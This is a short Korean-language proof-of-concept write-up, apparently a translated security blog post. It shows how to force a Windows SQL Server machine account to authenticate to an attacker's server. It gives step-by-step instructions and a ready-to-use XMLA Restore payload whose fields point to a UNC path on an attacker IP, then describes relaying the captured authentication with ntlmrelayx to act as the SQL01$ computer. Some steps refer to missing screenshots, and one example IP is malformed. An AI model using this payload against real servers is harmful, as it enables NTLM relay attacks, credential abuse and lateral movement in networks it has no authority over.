
Windows SQL Server가 임의의 머신에 인증하도록 강제하는 기법

Windows SQL Server가 임의의 머신에 인증하도록 강제하는 기술입니다.
이 개념 증명은 다음 사람들이 공동으로 작성했습니다:
로컬 머신 계정으로 인증을 트리거하려면 사용자 자격 증명을 사용하여 원격 SQL Server에 연결해야 합니다:

그런 다음 "Restore"를 선택하여 주어진 파일에서 데이터베이스를 복원합니다.

XMLA 파일을 생성하려면 "Backup File" 양식에 임의의 파일 경로를 입력하고 Ok를 클릭합니다.

그런 다음 임의의 파일 경로를 공격자 서버의 UNC 경로로 변경합니다 (예: \\192.168.128\SYSVOL\db.abf).

개념 증명용 XMLA 쿼리 (poc.xmla):
<Restore xmlns="http://schemas.microsoft.com/analysisservices/2003/engine">
<File>\\192.168.2.51\SYSVOL\db.abf</File>
<DatabaseName>\\192.168.2.51\SYSVOL\db.abf</DatabaseName>
<DbStorageLocation xmlns="http://schemas.microsoft.com/analysisservices/2008/engine/100/100">\\192.168.2.51\SYSVOL\db.abf</DbStorageLocation>
</Restore>
그러면 SQL Server의 로컬 머신 계정으로부터 인증을 받습니다:

인증을 받고 나면 ntlmrelayx로 릴레이하여 SQL01$ 컴퓨터를 대신해 다양한 작업을 수행할 수 있습니다.
멋지긴 하지만, Linux 공격 머신에서는 SQL Server Management Studio(SSMS)에 접근할 수 없어 이 강제 인증을 트리거하기가 복잡합니다.